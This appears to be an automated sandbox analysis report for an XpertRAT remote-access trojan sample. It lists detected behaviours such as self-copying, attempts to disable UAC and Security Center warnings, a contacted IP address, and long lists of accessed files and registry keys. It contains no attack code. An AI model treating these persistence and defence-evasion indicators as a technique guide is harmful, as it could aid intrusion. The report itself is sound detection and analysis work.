data: C:\Users\Rebecca\AppData\Roaming\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8.exe
CAPE detected the XpertRAT malware family
Creates a copy of itself
copy: C:\Users\Rebecca\AppData\Roaming\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8.exe
Attempts to disable UAC
Attempts to modify or disable Security Center warnings
Creates Xpert RAT files
file: C:\Users\Rebecca\AppData\Roaming\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8\ut
Created network traffic indicative of malicious activity
signature: ET JA3 Hash - Possible Malware - Various Malspam/RigEK
Uses suspicious command line tools or Windows utilities
command: C:\Program Files\Internet Explorer\iexplore.exe C:\Users\Rebecca\AppData\Local\Temp\3xPFCTwuZSmjUq.exe

Screenshots


Hosts

Direct IP Country Name
Y 194.5.99.136 [VT] France
Y 1.1.1.1 [VT] Australia

DNS

No domains contacted.


Summary

C:\Windows\System32\MSCOREE.DLL.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Windows\Microsoft.NET\Framework\*
C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Users\Rebecca\AppData\Local\Temp\3xPFCTwuZSmjUq.exe.config
C:\Users\Rebecca\AppData\Local\Temp\3xPFCTwuZSmjUq.exe
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-2.dll
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSVCR120_CLR0400.dll
C:\Windows\System32\MSVCR120_CLR0400.dll
C:\Windows\System32\api-ms-win-core-quirks-l1-1-0.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\6715dc4d04e35f16d482900c355325e9\mscorlib.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\6715dc4d04e35f16d482900c355325e9\mscorlib.ni.dll.aux
C:\Users
C:\Users\Rebecca
C:\Users\Rebecca\AppData
C:\Users\Rebecca\AppData\Local
C:\Users\Rebecca\AppData\Local\Temp
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Hlhf\*
C:\Users\Rebecca\AppData\Local\Temp\3xPFCTwuZSmjUq.INI
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
C:\Windows\assembly\pubpol224.dat
C:\Windows\assembly\GAC\PublisherPolicy.tme
C:\Windows\Microsoft.Net\assembly\GAC_32\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\aece3d371c0714e60f9509d2a3137395\System.Windows.Forms.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\aece3d371c0714e60f9509d2a3137395\System.Windows.Forms.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.dll
C:\Windows\Microsoft.Net\assembly\GAC_32\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\43822396682b0ffc3cfb66137ddab95f\System.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\43822396682b0ffc3cfb66137ddab95f\System.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll
C:\Windows\Microsoft.Net\assembly\GAC_32\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\2c462a934e0586ac5e46c8b93e461384\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\2c462a934e0586ac5e46c8b93e461384\System.Drawing.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.Serialization.Formatters.Soap\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.Serialization.Formatters.Soap.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll
C:\Users\Rebecca\AppData\Local\Temp\en-US\Hlhf.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en-US\Hlhf.resources\Hlhf.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en-US\Hlhf.resources.exe
C:\Users\Rebecca\AppData\Local\Temp\en-US\Hlhf.resources\Hlhf.resources.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
C:\Users\Rebecca\AppData\Local\Temp\en\Hlhf.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en\Hlhf.resources\Hlhf.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en\Hlhf.resources.exe
C:\Users\Rebecca\AppData\Local\Temp\en\Hlhf.resources\Hlhf.resources.exe
C:\Users\Rebecca\AppData\Local\Temp\3xPFCTwuZSmjUq.exe.Local\
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24308_none_5c028e37a0121035
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24308_none_5c028e37a0121035\GdiPlus.dll
C:\Windows\Microsoft.Net\assembly\GAC_32\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\6090b158fd3d10686b422a455e188125\Microsoft.VisualBasic.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\6090b158fd3d10686b422a455e188125\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\c8a2021e940773064c655a6ea6ee8cb2\System.Core.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\c8a2021e940773064c655a6ea6ee8cb2\System.Core.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.Linq.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SortDefault.nlp
C:\Users\Rebecca\AppData\Local\Temp\en-US\Lazarus.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en-US\Lazarus.resources\Lazarus.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en-US\Lazarus.resources.exe
C:\Users\Rebecca\AppData\Local\Temp\en-US\Lazarus.resources\Lazarus.resources.exe
C:\Users\Rebecca\AppData\Local\Temp\en\Lazarus.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en\Lazarus.resources\Lazarus.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en\Lazarus.resources.exe
C:\Users\Rebecca\AppData\Local\Temp\en\Lazarus.resources\Lazarus.resources.exe
C:\Users\Rebecca\AppData\Local\Temp\3xPFCTwuZSmjUq.exe.cfg
C:\Windows\System32\C_932.NLS
C:\Windows\System32\C_949.NLS
C:\Windows\System32\C_950.NLS
C:\Windows\System32\C_936.NLS
C:\Users\Rebecca\AppData\Local\Temp\~DF02E8C2D09677B8D7.TMP
C:\Program Files\Internet Explorer\iexplore.exe
C:\Windows\System32\tzres.dll
C:\Windows\System32\en-US\tzres.dll.mui
\Device\KsecDD
C:\Program Files\Internet Explorer\iexplore.exe.cfg
C:\Users\Rebecca\AppData\Roaming\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8
C:\Users\Rebecca\AppData\Roaming\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8.exe
C:\Users\Rebecca\AppData\Roaming\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8\ut
C:\ProgramData\Microsoft\User Account Pictures
\??\PIPE\samr
C:\DosDevices\pipe\
C:\ProgramData\Microsoft\User Account Pictures\user.bmp
C:\Users\Rebecca\AppData\Local\Temp\Rebecca.bmp
C:\Users\Rebecca\AppData\Roaming\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8
C:\Windows\System32\msvbvm60.dll
\Device\Afd\AsyncSelectHlp
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Users\Rebecca\AppData\Local\Temp\3xPFCTwuZSmjUq.exe.config
C:\Users\Rebecca\AppData\Local\Temp\3xPFCTwuZSmjUq.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Windows\System32\MSVCR120_CLR0400.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\6715dc4d04e35f16d482900c355325e9\mscorlib.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\6715dc4d04e35f16d482900c355325e9\mscorlib.ni.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
C:\Windows\assembly\pubpol224.dat
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\aece3d371c0714e60f9509d2a3137395\System.Windows.Forms.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\43822396682b0ffc3cfb66137ddab95f\System.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\43822396682b0ffc3cfb66137ddab95f\System.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\2c462a934e0586ac5e46c8b93e461384\System.Drawing.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\2c462a934e0586ac5e46c8b93e461384\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\aece3d371c0714e60f9509d2a3137395\System.Windows.Forms.ni.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24308_none_5c028e37a0121035\GdiPlus.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\6090b158fd3d10686b422a455e188125\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\c8a2021e940773064c655a6ea6ee8cb2\System.Core.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\c8a2021e940773064c655a6ea6ee8cb2\System.Core.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\6090b158fd3d10686b422a455e188125\Microsoft.VisualBasic.ni.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SortDefault.nlp
C:\Users\Rebecca\AppData\Local\Temp\~DF02E8C2D09677B8D7.TMP
C:\Windows\System32\tzres.dll
C:\Windows\System32\en-US\tzres.dll.mui
\Device\KsecDD
\??\PIPE\samr
C:\ProgramData\Microsoft\User Account Pictures\user.bmp
C:\Users\Rebecca\AppData\Local\Temp\Rebecca.bmp
C:\Users\Rebecca\AppData\Roaming\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8\ut
C:\Users\Rebecca\AppData\Roaming\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8
C:\Windows\System32\msvbvm60.dll
\Device\Afd\AsyncSelectHlp
C:\Users\Rebecca\AppData\Local\Temp\~DF02E8C2D09677B8D7.TMP
C:\Users\Rebecca\AppData\Roaming\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8.exe
\??\PIPE\samr
C:\Users\Rebecca\AppData\Local\Temp\Rebecca.bmp
C:\Users\Rebecca\AppData\Roaming\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8\ut
C:\Users\Rebecca\AppData\Roaming\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8
\Device\Afd\AsyncSelectHlp
C:\Users\Rebecca\AppData\Local\Temp\~DF02E8C2D09677B8D7.TMP
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\v4.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_CURRENT_USER\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\OnlyUseLatestCLR
Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\Standards\v4.0.30319
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v4.0.30319\SKUs\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319\SKUs\default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\Release
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\3xPFCTwuZSmjUq.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_CURRENT_USER\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseRetryAttempts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseMillisecondsBetweenRetries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\NGen\Policy\v4.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\NGen\Policy\v4.0\OptimizeUsedBinaries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\Servicing
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Sorting\Versions\00060101.00060101
HKEY_LOCAL_MACHINE\Software\Microsoft\StrongName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\FeatureSIMD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\AltJit
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\PublisherPolicy\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index224
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.Accessibility__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.Accessibility__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Core__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Core__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Runtime.Serialization.Formatters.Soap__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Runtime.Serialization.Formatters.Soap__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\APTCA
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale\Alternate Sorts
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Language Groups
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000409
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\AppContext
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-479431668-4257340731-3059248302-1002\Installer\Assemblies\C:|Users|Rebecca|AppData|Local|Temp|3xPFCTwuZSmjUq.exe
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\C:|Users|Rebecca|AppData|Local|Temp|3xPFCTwuZSmjUq.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\C:|Users|Rebecca|AppData|Local|Temp|3xPFCTwuZSmjUq.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-479431668-4257340731-3059248302-1002\Installer\Assemblies\Global
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance\Disabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.10.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.10.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Numerics__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Numerics__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Xml.Linq__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Xml.Linq__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_CURRENT_USER\Software\Classes
HKEY_CURRENT_USER\Software\Classes\AppID\3xPFCTwuZSmjUq.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\OLE\AppCompat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\DefaultAccessPermission
HKEY_CURRENT_USER\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Extensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BFE
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledProcesses\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\F363E4E
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledSessions\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SQMClient\Windows
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPSampledIn
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
